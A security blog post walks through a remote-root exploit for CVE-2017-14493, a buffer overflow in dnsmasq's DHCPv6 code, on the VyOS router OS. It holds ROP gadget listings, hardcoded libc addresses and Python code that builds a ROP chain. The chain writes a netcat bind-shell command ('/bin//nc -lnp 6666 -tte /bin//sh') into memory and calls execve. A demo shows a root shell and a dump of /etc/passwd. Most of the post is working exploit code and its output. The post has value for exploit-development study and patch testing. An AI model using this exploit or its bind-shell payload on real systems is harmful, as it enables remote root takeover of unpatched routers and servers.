Pwning dnsmasq (part 2) with ROP

tl;dr There's an exploit that uses ROP for remote root on VYOS against dnsmasq and can be found here.

Let's start at the beginning. CVE-2017-14493 is a buffer overflow in dnsmasq <2.78 discovered by some super smart people at Google. This post will outline how I, with the help of Mark (Mark Haase, plug for his posts on this blog - they're amazing), achieved remote code execution that gets us root on VYOS, a router operating system. The tl;dr of this post is: VYOS simply doesn't have the same level of security as many modern operating systems and therefore allows us to achieve remote code execution that gets us root. However, the path to exploitation was long and arduous for an exploit-writing n00b like me. Let's get into it.

dnsmasq Exploitation

I started off by using ROPgadget.py to dump the gadgets of libc.

vyos@vyos:~/ROPgadget$ python3 ROPgadget.py --binary /lib/libc-2.11.3.so
0x000040ac : aaa ; add byte ptr [eax], al ; add byte ptr [edx], ah ; add byte ptr [eax + eax], cl ; ret 0xe
0x0013bd05 : aaa ; add byte ptr [eax], al ; and byte ptr [ebx - 3], dh ; call dword ptr [eax]
0x0007f76b : aaa ; add eax, 0x3144b60f ; add dword ptr [eax], edi ; ret 0x850f
0x0003b123 : aaa ; add esp, 0x20 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0010d86f : aaa ; add esp, 0xc ; mov eax, edx ; pop ebx ; pop esi ; pop ebp ; ret
0x0013aa04 : aaa ; jns 0x13a9fc ; call dword ptr [eax]
0x000b0289 : aaa ; push 0xc483fff6 ; add al, 0x5b ; pop ebp ; ret
0x00136d79 : aaa ; stc ; call esp
0x001476b9 : aaa ; sub edi, esp ; jmp dword ptr [edx]
0x000b75f3 : aaa ; xor eax, eax ; add esp, 4 ; pop esi ; pop edi ; pop ebp ; ret
0x000a2f04 : aad 0 ; add byte ptr [eax], al ; int 0x80
0x00145b75 : aad 0 ; add byte ptr [esi - 0x52], bl ; cli ; call dword ptr [eax]
0x00145ba5 : aad 0 ; add byte ptr [esi], bh ; scasb al, byte ptr es:[edi] ; cli ; call dword ptr [eax]
[snip]

These will come in handy later.

The vulnerability is a classic BoF, I have control of the instruction pointer:

root@vyos:/home/vyos# gdb -p 4010
(gdb) c 
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

There I attached to the dnsmasq process and hit the remote daemon with a maliciously crafted dhcp6 request from another terminal

root@vyos:/home/vyos/dnsmasq/src# ./dnsmasq --no-daemon --dhcp-range=fd00::2,fd00::ff
dnsmasq: started, version 2.77 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify
dnsmasq-dhcp: DHCPv6, IP range fd00::2 -- fd00::ff, lease time 1h
dnsmasq: no servers found in /etc/resolv.conf, will retry
dnsmasq: read /etc/hosts - 8 addresses
root@vyos:/home/vyos/dnsmasq/src#

and was able to remotely control the instruction pointer and crash the program. #SadTrombone

Now what?

I knew by running checksec that the OS provided both ASLR and NX protection for dnsmasq, these are the challenges I have to overcome to truly get remote root on any dnsmasq box. Anyway, see the first post for when it comes to ASLR, I know it's handwavy, whatever, I'll put it to the test soon. So let's focus on how we can get past NX by disabling ASLR and not worrying about it just yet.

ROP provides a nice way to get past NX protection by using functionality in libc, which has pretty much any ROP gadget you'd ever want (ok actually there was some funniness I had to do because I couldn't find some specific ROP gadgets). OK so let's get started with ROPing. I first started by locating a bunch of useful ROP gadgets and putting their memory locations into python variables. By "useful" I mean ones that will help me achieve my goal of executing execve. Then I overwrote EIP with the address of our first ROP gadget:

    pop_ecx_eax = pack("<I", 0xb7f62bf0)
    pop_ecx_ebx_ebp = pack("<I", 0xb7f96975)
    mov_to_ecx_pop_ebp = pack("<I", 0xb7eee98e)
    xor_eax = pack("<I", 0xb7eb2107) #xor eax, eax ; pop ebp ; ret   0x8078b45
    xor_edi = pack("<I", 0xb7f03c3c)
    pop_eax = pack("<I", 0xb7e9b21c)
    mov_eax_to_ecx_loc_pop_ebp = pack("<I", 0xb7ef4db2) #0x0006ddb2 : mov dword ptr [ecx], eax ; pop ebp ; ret
    pop_edx_ecx_ebx = pack("<I", 0xb7f6ca71)
    inc_eax = pack("<I", 0xb7eaa3fd)
    int80 = pack("<I", 0xb7ea6f41)
    int802 = pack("<I", 0xb7f292e8)


assert len(sys.argv) == 3, "{} <ip> <port>".format(sys.argv[0])
    pkg = b"".join([
        u8(12),                         # DHCP6RELAYFORW
        u16(0x0313), u8(0x37),          # transaction ID
        b"_" * (34 - 4),
        # Option 79 = OPTION6_CLIENT_MAC
        # Moves argument into char[DHCP_CHADDR_MAX], DHCP_CHADDR_MAX = 16
        gen_option(79, "A" * 50 + "BBBB" + 

                   pop_ecx_eax +
                   pack("<I", 0x0808a8a0 + 0x4) +
                   pad +


                   pop_eax +
                   "/bin" +

                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

So in the above code I ovewrite the base pointer with B's because that's just what is done to base pointers, I don't know why, but it's in all the blogs I read. I know it could be anything but ¯\(ツ)/¯.

Then I overwrite EIP with the memory location of my first gadget which pops ecx and eax from the stack and ret s its way to the next ROP gadget. The gadget pop ecx; pop eax; ret is the gadget which adjusts our stack pointer by incrementing (moving down the stack) and putting the next two entries into ecx and eax respectively. As previously mentioned the next gadget simply puts whatever is in eax to the memory location stored in ecx. We work with the gadgets that we can find, so sometimes there are extra parts to the gadgets that we don't care about. This is why we have to add padding to "extra" pop s (thus the pad variable).

The code above is the example given previously - copying the string "/bin" to a memory location. So let's talk strategy, here's what we're gonna do:

(1) Overwrite EIP with this ROP gadget, the ROP gadget starts the ROP chain
(2) We want to place the string "/bin//nc -lnp 6666 -tte /bin//sh" into memory. The //'s aren't typos, they're to make the next part of the message 4 bytes, making our lives easier and overwriting any null bytes or random chars. So we're going to place "/bin", "//nc", "-lnp", etc. into a convenient place in memory
(3) We're going to then place pointers to the strings in another convenient places in memory (just the memory locations of the strings) - we need to do this to eventually call execve which will run the actual string
(4) We prepare our system call to execve. Since we're in assembly world practically this means setting eax to 11 (the syscall number for execve) and putting the arguments of execve in the registers ebx, ecx, edx, etc.
(5) We then run the int 0x80 instruction to execute the syscall. This runs a bind shell on the machine allowing me to connect via netcat for a remote shell. Because dnsmasq must be run as root, this remote shell is a root shell.

OK let's get started.

Overwriting EIP

Because this is a classic BoF (with no canary - thanks VYOS!) overwriting EIP is trivial. Actually the above shown code does just that by using... numbers and stuff.

Placing strings in memory

Placing strings in memory is pretty easy. Because I'm not a dirty heathen I use intel syntax, the key to putting stuff in memory is two simple gadgets:

(gdb) x/i 0xb7f62bf0
0xb7f62bf0 <mcount+16>:	pop    ecx
(gdb) x/i 0xb7f62bf0+1
0xb7f62bf1 <mcount+17>:	pop    eax
(gdb) x/i 0xb7f62bf0+1+1
0xb7f62bf2 <mcount+18>:	ret

and

0xb7ef4db2 <_IO_remove_marker+50>: mov DWORD PTR [ecx],eax

We do this with the below code:

    pop_ecx_eax = pack("<I", 0xb7f62bf0)
    mov_eax_to_ecx_loc_pop_ebp = pack("<I", 0xb7ef4db2)

assert len(sys.argv) == 3, "{} <ip> <port>".format(sys.argv[0])
    pkg = b"".join([
        u8(12),                         # DHCP6RELAYFORW
        u16(0x0313), u8(0x37),          # transaction ID
        b"_" * (34 - 4),
        # Option 79 = OPTION6_CLIENT_MAC
        # Moves argument into char[DHCP_CHADDR_MAX], DHCP_CHADDR_MAX = 16
        gen_option(79, "A" * 50 + "BBBB" + 

                   pop_ecx_eax +
                   pack("<I", 0x0808a8a0 + 0x4) +
                   pad +


                   pop_eax +
                   "/bin" +

                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

The first allows us to pop into ecx and eax, storing values in them. As good a place as any to store my code in memory is the beginning of the writable .data section which can be found by running readelf on dnsmasq:

root@vyos:/home/vyos# readelf -S dnsmasq/src/dnsmasq
There are 40 section headers, starting at offset 0xe4bec:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al

[snip]

[19] .ctors            PROGBITS        0808a580 041580 000008 00  WA  0   0  4
  [20] .dtors            PROGBITS        0808a588 041588 000008 00  WA  0   0  4
  [21] .jcr              PROGBITS        0808a590 041590 000004 00  WA  0   0  4
  [22] .dynamic          DYNAMIC         0808a594 041594 0000d0 08  WA  7   0  4
  [23] .got              PROGBITS        0808a664 041664 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0808a668 041668 000228 04  WA  0   0  4
  [25] .data             PROGBITS        0808a8a0 0418a0 000e34 00  WA  0   0 32
  [26] .bss              NOBITS          0808b6e0 0426d4 000314 00  WA  0   0 32

[snip]

Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

and we see that the .data section starts at 0x0808a8a0 just like you see in the python code. Anyway, we're starting out by putting our strings into that address +4. Why +4? BECAUSE DAMMIT THAT'S WHERE I WANT THEM. In reality these could be anywhere in writable memory, the .data section is convenient because it starts with a bunch of null bytes and holds stuff like global variables. Those may seem important, but by the time we overwrite them we're already in our ROP chain. Anyway, so the pop ecx happens first, and this is where we put our address. I'm using this register for no particular reason, I could easily have used ebx, edx, esi, etc. AFAIK. After the pop ecx we have a pop eax in the same gadget, so we have to pop something into eax (and make sure that EIP points to the next instruction) so we add padding (just a bunch of B's) to adjust the stack. Then we use a dedicated gadget to pop the value we actually want into eax in the next gadget. Note that we're using ecx as a vehicle to begin building what we need. This trend will continue.

Let's continue with our ROP chain:

                   pop_ecx_eax +
                   pack("<I", 0x0808a8a0 + 0x8) +
                   pad +

                   #!ACEDIT
                   pop_eax +
                   "//nc" +

                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

                   ######################################

                   pop_ecx_eax +
                   pack("<I", 0x0808a8a0 + 0xd) +
                   pad +

                   pop_eax +
                   "-lnp" +

                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

                   ######################################

                   pop_ecx_eax +
                   pack("<I", 0x0808a8a0 + 0x12) +
                   pad +

                   pop_eax +
                   "6666" +

                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

                   #####################################

                   pop_ecx_eax +
                   pack("<I", 0x0808a8a0 + 0x17) +
                   pad +

                   pop_eax +
                   "-tte" +

                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

                   #####################################

                   pop_ecx_eax +
                   pack("<I", 0x0808a8a0 + 0x1c) +
                   pad +

                   xor_eax +
                   pad +
                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

                   pop_eax +
                   "/bin" +

                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

                   ####################################

                   pop_ecx_eax +
                   pack("<I", 0x0808a8a0 + 0x20) +
                   pad +


                   pop_eax +
                   "//sh" +

                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

Note here we're doing literally just the same thing over and over again (hum, maybe I could've used a loop...), placing strings in memory 4 or 5 bytes ahead of the previous string. Why 5 bytes you may ask? Each argument must be null terminated, so when we finish writing an argument to the stack e.g. "/bin//nc" we increment the location we're going to be putting our string in by 5 instead of 4. The beginning of the .data section has a bunch of 0s which automagically null terminate the string for me. Thanks .data!

Pointing back to our strings

Now it's time to set up the pointers to our strings. We do this because execve's arguments are pointers:

int execve(const char *filename, char *const argv[],
              char *const envp[]);

and our goal is an execve system call. Let's see what this looks like:

                   #@ of /bin//nc
                   pop_edx_ecx_ebx +
                   pad +
                   pack("<I", 0x0808a8a0 + 0x60) +
                   pad +

                   pop_eax +
                   pack("<I", 0x0808a8a0 + 0x4)+
                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

here we're doing something similar to the initial string storage except we're storing a memory address. The above can be described in human readable terms as the following: put a bunch of B's into edx and ebx, and put a memory address of 0x0808a8a0 + 0x60 (this is where we'll be writing our first pointer). Then write the memory location of the first pointer (which should point to the beginning of "/bin//nc" etc.) to that location. In other words, we've just written a C pointer in assembly. We continue to do this for all arguments:

                   #@ of /bin//nc
                   pop_edx_ecx_ebx +
                   pad +
                   pack("<I", 0x0808a8a0 + 0x60) +
                   pad +

                   pop_eax +
                   pack("<I", 0x0808a8a0 + 0x4)+
                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

                   #########################################
                   #@ of -lnp
                   pop_edx_ecx_ebx +
                   pad +
                   pack("<I", 0x0808a8a0 + 0x64) +
                   pad +

                   pop_eax +
                   pack("<I", 0x808a8ad)+
                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

                  #######################################
                   # @ of 6666
                   pop_edx_ecx_ebx +
                   pad +
                   pack("<I", 0x0808a8a0 + 0x68) +
                   pad +

                   pop_eax +
                   pack("<I", 0x808a8b2)+
                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

                   ########################################
                   # @ of -tte
                   pop_edx_ecx_ebx +
                   pad +
                   pack("<I", 0x0808a8a0 + 0x6c) +
                   pad +

                   pop_eax +
                   pack("<I", 0x808a8b7)+
                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

                   ########################################

                   #@ of /bin//sh
                   pop_edx_ecx_ebx +
                   pad +
                   pack("<I", 0x0808a8a0 + 0x70) +
                   pad +
                   
                   xor_eax +
                   pad +
                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

                   pop_eax +
                   pack("<I", 0x808a8bc)+
                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +
                   

                   #####null terminate args###############

                   pop_ecx_eax +
                   pack("<I", 0x808a914) +
                   pad +

                   xor_eax +
                   pad +
                   mov_eax_to_ecx_loc_pop_ebp +
                   pad +

(again maybe a loop would've been helpful...). Anyway, after all is said and done we null terminate the pointers and finish up the exploit in the next section.

Execute


    pad = pack("<I", 0x42424242)
    data_beginning = pack("<I", 0x0808a8a0)
    stack_start = pack("<I", 0x0808a8a0)
    pop_ecx_eax = pack("<I", 0xb7f62bf0)
    pop_ecx_ebx_ebp = pack("<I", 0xb7f96975)
    mov_to_ecx_pop_ebp = pack("<I", 0xb7eee98e)
    xor_eax = pack("<I", 0xb7eb2107) #xor eax, eax ; pop ebp ; ret   0x8078b45
    xor_edi = pack("<I", 0xb7f03c3c)
    pop_eax = pack("<I", 0xb7e9b21c)
    mov_eax_to_ecx_loc_pop_ebp = pack("<I", 0xb7ef4db2) #0x0006ddb2 : mov dword ptr [ecx], eax ; pop ebp ; ret
    pop_edx_ecx_ebx = pack("<I", 0xb7f6ca71)
    inc_eax = pack("<I", 0xb7eaa3fd)
    int80 = pack("<I", 0xb7ea6f41)
    int802 = pack("<I", 0xb7f292e8)

                   #################EXECUTE###############

                   xor_eax + 
                   pad +
                   inc_eax +
                   inc_eax +
                   inc_eax +
                   inc_eax +
                   inc_eax +
                   inc_eax +
                   inc_eax +
                   inc_eax +
                   inc_eax +
                   inc_eax +
                   inc_eax +
                   pop_edx_ecx_ebx +
                   pack("<I", 0x0808a8a0) +
                   pack("<I", 0x0808a8a0 + 0x60) +
                   pack("<I", 0x0808a8a0 + 0x4) +
                   int802

In the above we clear eax by doing xor eax, eax and then increment eax 11 times. The syscall is now set to execve. Then we place our arguments on our stack. The first is the memory location of the file we want to execute ("/bin//nc") so we point to that. The second is the memory location of the pointers to the strings of arguments. The third is simply pointing to a null set of bytes 0x00000000 because we don't really care about environment variables right now. Finally we execute int802 which performs an int 0x80 instruction and calls execve with our arguments. Let's try all of this out.

Using the Exploit for Remote Root Shell

First we run dnsmasq

root@vyos:/home/vyos/dnsmasq/src# ./dnsmasq --no-daemon --dhcp-range=fd00::2,fd00::ff
dnsmasq: started, version 2.77 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify
dnsmasq-dhcp: DHCPv6, IP range fd00::2 -- fd00::ff, lease time 1h
dnsmasq: no servers found in /etc/resolv.conf, will retry
dnsmasq: read /etc/hosts - 8 addresses

Now let's hit it with our exploit. The full code can be found here.

vyos@vyos:~$ python bof-dnsmasq-cve-2017-14493.py ::1 547
0x0808a8a0
[+] sending 608 bytes to ::1:547
vyos@vyos:~$ nc localhost 6666
whoami
root
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
quagga:x:101:103:Vyatta Quagga routing suite,,,:/var/run/quagga/:/bin/false
ntp:x:102:107::/home/ntp:/bin/false
snmp:x:103:108::/var/lib/snmp:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
dnsmasq:x:105:65534:dnsmasq,,,:/var/lib/misc:/bin/false
radvd:x:106:65534::/var/run/radvd:/bin/false
_lldpd:x:107:111::/var/run/lldpd:/bin/false
hacluster:x:108:113:Heartbeat System Account,,,:/usr/lib/heartbeat:/bin/false
tss:x:109:114::/var/lib/tpm:/usr/sbin/nologin
vyos:x:1000:100::/home/vyos:/bin/vbash
messagebus:x:110:115::/var/run/dbus:/bin/false

And boom goes the dynamite.